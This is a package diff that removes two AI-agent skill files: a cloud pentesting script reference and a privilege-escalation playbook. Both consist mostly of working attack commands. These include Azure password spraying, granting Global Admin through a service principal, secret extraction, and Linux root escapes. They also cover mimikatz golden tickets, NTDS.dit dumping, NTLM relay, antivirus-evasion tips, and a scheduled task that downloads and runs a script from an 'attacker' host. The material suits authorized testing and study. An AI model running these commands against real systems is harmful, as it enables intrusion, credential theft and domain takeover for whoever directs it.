opencode-skills-collection 4.0.14 → 4.0.16

package/bundled-skills/cloud-penetration-testing/references/advanced-cloud-scripts.md

@@ -1,318 +0,0 @@
-# Advanced Cloud Pentesting Scripts
-
-Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
-
-## Azure Automation Runbooks
-
-### Export All Runbooks from All Subscriptions
-
-```powershell
-$subs = Get-AzSubscription
-Foreach($s in $subs){
-    $subscriptionid = $s.SubscriptionId
-    mkdir .\$subscriptionid\
-    Select-AzSubscription -Subscription $subscriptionid
-    $runbooks = @()
-    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
-    foreach ($i in $autoaccounts){
-        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
-    }
-    foreach($r in $runbooks){
-        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
-    }
-}
-```
-
-### Export All Automation Job Outputs
-
-```powershell
-$subs = Get-AzSubscription
-$jobout = @()
-Foreach($s in $subs){
-    $subscriptionid = $s.SubscriptionId
-    Select-AzSubscription -Subscription $subscriptionid
-    $jobs = @()
-    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
-    foreach ($i in $autoaccounts){
-        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
-    }
-    foreach($r in $jobs){
-        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
-    }
-}
-$jobout | Out-File -Encoding ascii joboutputs.txt
-```
-
-## Azure Function Apps
-
-### List All Function App Hostnames
-
-```powershell
-$functionapps = Get-AzFunctionApp
-foreach($f in $functionapps){
-    $f.EnabledHostname
-}
-```
-
-### Extract Function App Information
-
-```powershell
-$subs = Get-AzSubscription
-$allfunctioninfo = @()
-Foreach($s in $subs){
-    $subscriptionid = $s.SubscriptionId
-    Select-AzSubscription -Subscription $subscriptionid
-    $functionapps = Get-AzFunctionApp
-    foreach($f in $functionapps){
-        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
-        $allfunctioninfo += $f.SiteConfig | fl
-        $allfunctioninfo += $f.ApplicationSettings | fl
-        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
-    }
-}
-$allfunctioninfo
-```
-
-## Azure Device Code Login Flow
-
-### Initiate Device Code Login
-
-```powershell
-$body = @{
-    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
-    "resource"  = "https://graph.microsoft.com"
-}
-$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
-$Headers = @{}
-$Headers["User-Agent"] = $UserAgent
-$authResponse = Invoke-RestMethod `
-    -UseBasicParsing `
-    -Method Post `
-    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-    -Headers $Headers `
-    -Body $body
-$authResponse
-```
-
-Navigate to https://microsoft.com/devicelogin and enter the code.
-
-### Retrieve Access Tokens
-
-```powershell
-$body = @{
-    "client_id"  = "1950a258-227b-4e31-a9cf-717495945fc2"
-    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
-    "code"       = $authResponse.device_code
-}
-$Tokens = Invoke-RestMethod `
-    -UseBasicParsing `
-    -Method Post `
-    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-    -Headers $Headers `
-    -Body $body
-$Tokens
-```
-
-## Azure Managed Identity Token Retrieval
-
-```powershell
-# From Azure VM
-Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
-
-# Full instance metadata
-$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
-$instance
-```
-
-## AWS Region Iteration Scripts
-
-Create `regions.txt`:
-```
-us-east-1
-us-east-2
-us-west-1
-us-west-2
-ca-central-1
-eu-west-1
-eu-west-2
-eu-west-3
-eu-central-1
-eu-north-1
-ap-southeast-1
-ap-southeast-2
-ap-south-1
-ap-northeast-1
-ap-northeast-2
-ap-northeast-3
-sa-east-1
-```
-
-### List All EC2 Public IPs
-
-```bash
-while read r; do
-    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
-done < regions.txt
-sort -u ec2-public-ips.txt -o ec2-public-ips.txt
-```
-
-### List All ELB DNS Addresses
-
-```bash
-while read r; do
-    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
-    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
-done < regions.txt
-sort -u elb-public-dns.txt -o elb-public-dns.txt
-```
-
-### List All RDS DNS Addresses
-
-```bash
-while read r; do
-    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
-done < regions.txt
-sort -u rds-public-dns.txt -o rds-public-dns.txt
-```
-
-### Get CloudFormation Outputs
-
-```bash
-while read r; do
-    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
-done < regions.txt
-```
-
-## ScoutSuite jq Parsing Queries
-
-### AWS Queries
-
-```bash
-# Find All Lambda Environment Variables
-for d in */ ; do
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
-done
-
-# Find World Listable S3 Buckets
-for d in */ ; do
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
-done
-
-# Find All EC2 User Data
-for d in */ ; do
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
-done
-
-# Find EC2 Security Groups That Whitelist AWS CIDRs
-for d in */ ; do
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
-done
-
-# Find All EC2 EBS Volumes Unencrypted
-for d in */ ; do
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
-done
-
-# Find All EC2 EBS Snapshots Unencrypted
-for d in */ ; do
-    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
-done
-```
-
-### Azure Queries
-
-```bash
-# List All Azure App Service Host Names
-tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
-
-# List All Azure SQL Servers
-tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
-
-# List All Azure Virtual Machine Hostnames
-tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
-
-# List Storage Accounts
-tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
-
-# List Disks Encrypted with Platform Managed Keys
-tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
-```
-
-## Password Spraying with Az PowerShell
-
-```powershell
-$userlist = Get-Content userlist.txt
-$passlist = Get-Content passlist.txt
-$linenumber = 0
-$count = $userlist.count
-foreach($line in $userlist){
-    $user = $line
-    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
-    $current = $linenumber + 1
-    Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
-    $linenumber++
-    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
-    try {
-        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
-        Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
-        Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
-    }
-    catch {
-        $Failure = $_.Exception
-        if ($Failure -match "ID3242") { continue }
-        else {
-            Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
-            Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
-            Add-Content valid-creds.txt $Failure.Message
-            Write-Host -ForegroundColor red $Failure.Message
-        }
-    }
-}
-```
-
-## Service Principal Attack Path
-
-```bash
-# Reset service principal credential
-az ad sp credential reset --id <app_id>
-az ad sp credential list --id <app_id>
-
-# Login as service principal
-az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
-
-# Create new user in tenant
-az ad user create --display-name <name> --password <password> --user-principal-name <upn>
-
-# Add user to Global Admin via MS Graph
-$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
-az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
-```
-
-## Additional Tools Reference
-
-| Tool | URL | Purpose |
-|------|-----|---------|
-| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
-| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
-| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
-| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
-| MSOLSpray | github.com/dafthack | O365 password spraying |
-| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
-| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
-| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
-| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
-| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
-| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
-| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
-| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
-| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
-
-## Vulnerable Training Environments
-
-| Platform | URL | Purpose |
-|----------|-----|---------|
-| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
-| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
-| Flaws Cloud | flaws.cloud | AWS CTF challenges |
-| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |

package/bundled-skills/privilege-escalation-methods/SKILL.md

@@ -1,337 +0,0 @@
----
-name: privilege-escalation-methods
-description: "Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations."
-risk: unknown
-source: community
-author: zebbern
-date_added: "2026-02-27"
----
-
-# Privilege Escalation Methods
-
-## Purpose
-
-Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
-
-## Inputs/Prerequisites
-
-- Initial low-privilege shell access on target system
-- Kali Linux or penetration testing distribution
-- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
-- Understanding of Windows/Linux privilege models
-- For AD attacks: Domain user credentials and network access to DC
-
-## Outputs/Deliverables
-
-- Root or Administrator shell access
-- Extracted credentials and hashes
-- Persistent access mechanisms
-- Domain compromise (for AD environments)
-
----
-
-## Core Techniques
-
-### Linux Privilege Escalation
-
-#### 1. Abusing Sudo Binaries
-
-Exploit misconfigured sudo permissions using GTFOBins techniques:
-
-```bash
-# Check sudo permissions
-sudo -l
-
-# Exploit common binaries
-sudo vim -c ':!/bin/bash'
-sudo find /etc/passwd -exec /bin/bash \;
-sudo awk 'BEGIN {system("/bin/bash")}'
-sudo python -c 'import pty;pty.spawn("/bin/bash")'
-sudo perl -e 'exec "/bin/bash";'
-sudo less /etc/hosts    # then type: !bash
-sudo man man            # then type: !bash
-sudo env /bin/bash
-```
-
-#### 2. Abusing Scheduled Tasks (Cron)
-
-```bash
-# Find writable cron scripts
-ls -la /etc/cron*
-cat /etc/crontab
-
-# Inject payload into writable script
-echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
-chmod +x /home/user/systemupdate.sh
-
-# Wait for execution, then:
-/bin/bash -p
-```
-
-#### 3. Abusing Capabilities
-
-```bash
-# Find binaries with capabilities
-getcap -r / 2>/dev/null
-
-# Python with cap_setuid
-/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
-
-# Perl with cap_setuid
-/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
-
-# Tar with cap_dac_read_search (read any file)
-/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
-/usr/bin/tar -xvf key.tar
-```
-
-#### 4. NFS Root Squashing
-
-```bash
-# Check for NFS shares
-showmount -e <victim_ip>
-
-# Mount and exploit no_root_squash
-mkdir /tmp/mount
-mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
-cd /tmp/mount
-cp /bin/bash .
-chmod +s bash
-```
-
-#### 5. MySQL Running as Root
-
-```bash
-# If MySQL runs as root
-mysql -u root -p
-\! chmod +s /bin/bash
-exit
-/bin/bash -p
-```
-
----
-
-### Windows Privilege Escalation
-
-#### 1. Token Impersonation
-
-```powershell
-# Using SweetPotato (SeImpersonatePrivilege)
-execute-assembly sweetpotato.exe -p beacon.exe
-
-# Using SharpImpersonation
-SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
-```
-
-#### 2. Service Abuse
-
-```powershell
-# Using PowerUp
-. .\PowerUp.ps1
-Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
-Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
-```
-
-#### 3. Abusing SeBackupPrivilege
-
-```powershell
-import-module .\SeBackupPrivilegeUtils.dll
-import-module .\SeBackupPrivilegeCmdLets.dll
-Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
-```
-
-#### 4. Abusing SeLoadDriverPrivilege
-
-```powershell
-# Load vulnerable Capcom driver
-.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
-.\ExploitCapcom.exe
-```
-
-#### 5. Abusing GPO
-
-```powershell
-.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
-  --Author DOMAIN\<USER> --Command "cmd.exe" `
-  --Arguments "/c net user Administrator Password!@# /domain" `
-  --GPOName "ADDITIONAL DC CONFIGURATION"
-```
-
----
-
-### Active Directory Attacks
-
-#### 1. Kerberoasting
-
-```bash
-# Using Impacket
-GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
-
-# Using CrackMapExec
-crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
-```
-
-#### 2. AS-REP Roasting
-
-```powershell
-.\Rubeus.exe asreproast
-```
-
-#### 3. Golden Ticket
-
-```powershell
-# DCSync to get krbtgt hash
-mimikatz# lsadump::dcsync /user:krbtgt
-
-# Create golden ticket
-mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
-  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
-```
-
-#### 4. Pass-the-Ticket
-
-```powershell
-.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
-klist  # Verify ticket
-```
-
-#### 5. Golden Ticket with Scheduled Tasks
-
-```powershell
-# 1. Elevate and dump credentials
-mimikatz# token::elevate
-mimikatz# vault::cred /patch
-mimikatz# lsadump::lsa /patch
-
-# 2. Create golden ticket
-mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
-  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
-
-# 3. Create scheduled task
-schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
-  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" # security-allowlist: offensive scheduled-task detection example
-schtasks /run /s DOMAIN /TN "enterprise"
-```
-
----
-
-### Credential Harvesting
-
-#### LLMNR Poisoning
-
-```bash
-# Start Responder
-responder -I eth1 -v
-
-# Create malicious shortcut (Book.url)
-[InternetShortcut]
-URL=https://facebook.com
-IconIndex=0
-IconFile=\\attacker_ip\not_found.ico
-```
-
-#### NTLM Relay
-
-```bash
-responder -I eth1 -v
-ntlmrelayx.py -tf targets.txt -smb2support
-```
-
-#### Dumping with VSS
-
-```powershell
-vssadmin create shadow /for=C:
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
-```
-
----
-
-## Quick Reference
-
-| Technique | OS | Domain Required | Tool |
-|-----------|-----|-----------------|------|
-| Sudo Binary Abuse | Linux | No | GTFOBins |
-| Cron Job Exploit | Linux | No | Manual |
-| Capability Abuse | Linux | No | getcap |
-| NFS no_root_squash | Linux | No | mount |
-| Token Impersonation | Windows | No | SweetPotato |
-| Service Abuse | Windows | No | PowerUp |
-| Kerberoasting | Windows | Yes | Rubeus/Impacket |
-| AS-REP Roasting | Windows | Yes | Rubeus |
-| Golden Ticket | Windows | Yes | Mimikatz |
-| Pass-the-Ticket | Windows | Yes | Rubeus |
-| DCSync | Windows | Yes | Mimikatz |
-| LLMNR Poisoning | Windows | Yes | Responder |
-
----
-
-## Constraints
-
-**Must:**
-- Have initial shell access before attempting escalation
-- Verify target OS and environment before selecting technique
-- Use appropriate tool for domain vs local escalation
-
-**Must Not:**
-- Attempt techniques on production systems without authorization
-- Leave persistence mechanisms without client approval
-- Ignore detection mechanisms (EDR, SIEM)
-
-**Should:**
-- Enumerate thoroughly before exploitation
-- Document all successful escalation paths
-- Clean up artifacts after engagement
-
----
-
-## Examples
-
-### Example 1: Linux Sudo to Root
-
-```bash
-# Check sudo permissions
-$ sudo -l
-User www-data may run the following commands:
-    (root) NOPASSWD: /usr/bin/vim
-
-# Exploit vim
-$ sudo vim -c ':!/bin/bash'
-root@target:~# id
-uid=0(root) gid=0(root) groups=0(root)
-```
-
-### Example 2: Windows Kerberoasting
-
-```bash
-# Request service tickets
-$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
-
-# Crack with hashcat
-$ hashcat -m 13100 hashes.txt rockyou.txt
-```
-
----
-
-## Troubleshooting
-
-| Issue | Solution |
-|-------|----------|
-| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
-| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
-| Kerberoasting returns no hashes | Check for service accounts with SPNs |
-| Token impersonation fails | Verify SeImpersonatePrivilege is present |
-| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
-
----
-
-## Additional Resources
-
-For detailed enumeration scripts, use:
-- **LinPEAS**: Linux privilege escalation enumeration
-- **WinPEAS**: Windows privilege escalation enumeration
-- **BloodHound**: Active Directory attack path mapping
-- **GTFOBins**: Unix binary exploitation reference
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.